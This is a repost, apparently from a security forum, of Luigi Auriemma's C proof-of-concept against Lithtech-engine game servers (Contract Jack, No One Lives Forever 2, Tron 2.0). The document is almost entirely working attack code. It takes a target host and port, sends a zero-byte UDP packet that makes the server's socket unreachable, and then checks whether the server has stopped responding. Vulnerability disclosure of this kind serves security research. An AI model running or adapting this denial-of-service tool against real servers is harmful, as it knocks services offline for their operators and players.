文章作者：Luigi Auriemma
复制内容到剪贴板
代码:
/*
by Luigi Auriemma - [url]http://aluigi.altervista.org/poc/lithsock.zip[/url] - SECU
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#ifdef WIN32
#include <winsock.h>
#include "winerr.h"
#define close closesocket
#define ONESEC 1000
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#define ONESEC 1
#endif
#define VER "0.1"
#define BUFFSZ 2048
#define PORT 27888
#define TIMEOUT 3
#define CHECK "\x10\x7f\x33\x01"
#define ZERO "" // 0 bytes, a cool bug
#define SEND(x) if(sendto(sd, x, sizeof(x) - 1, 0, (struct sockaddr *)&peer, sizeof(peer)) \
< 0) std_err();
int info_proto(u_char *data);
int timeout(int sock);
u_long resolv(char *host);
void std_err(void);
int main(int argc, char *argv[]) {
struct sockaddr_in peer;
int sd,
len;
u_short port = PORT;
u_char buff[BUFFSZ];
setbuf(stdout, NULL);
fputs("\n"
"Lithtech engine (new protocol) socket unreacheable "VER"\n"
" Contract Jack <= 1.1\n"
" No one lives forever 2 <= 1.3\n"
" Tron 2.0 <= 1.042\n"
"by Luigi Auriemma\n"
"e-mail: [email]aluigi@autistici.org[/email]\n"
"web: [url]http://aluigi.altervista.org[/url]\n"
"\n", stdout);
if(argc < 2) {
printf("\n"
"Usage: %s <host> [port(%d)]\n"
"\n", argv[0], port);
exit(1);
}
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
if(argc > 2) port = atoi(argv[2]);
peer.sin_addr.s_addr = resolv(argv[1]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
printf("- target %s : %hu\n",
inet_ntoa(peer.sin_addr), port);
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
fputs("- check if server is online\n", stdout);
SEND(CHECK);
if(timeout(sd) < 0) {
fputs("\nError: socket timeout, no reply received\n\n", stdout);
exit(1);
} else {
len = recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL);
if(len < 0) std_err();
if(memcmp(buff, CHECK, 3)) {
if(*buff == '\\') {
fputs("- received an information reply, seems you have specified a wrong port.\n"
" Try with a lower one\n", stdout);
} else {
fputs("\nError: unknown data received, this is none of the vulnerable games\n\n", stdout);
}
exit(1);
}
}
fputs("- send a ZERO bytes packet\n", stdout);
SEND(ZERO);
fputs("- wait one second\n", stdout);
sleep(ONESEC);
fputs("- check if the server is vulnerable:\n", stdout);
SEND(CHECK);
if(timeout(sd) < 0) {
fputs("\nServer IS vulnerable!!!\n\n", stdout);
} else {
fputs("\nServer doesn't seem vulnerable\n\n", stdout);
}
close(sd);
return(0);
}
int timeout(int sock) {
struct timeval tout;
fd_set fd_read;
int err;
tout.tv_sec = TIMEOUT;
tout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
err = select(sock + 1, &fd_read, NULL, NULL, &tout);
if(err < 0) std_err();
if(!err) return(-1);
return(0);
}
u_long resolv(char *host) {
struct hostent *hp;
u_long host_ip;
host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolv hostname (%s)\n", host);
exit(1);
} else host_ip = *(u_long *)hp->h_addr;
}
return(host_ip);
}
#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif
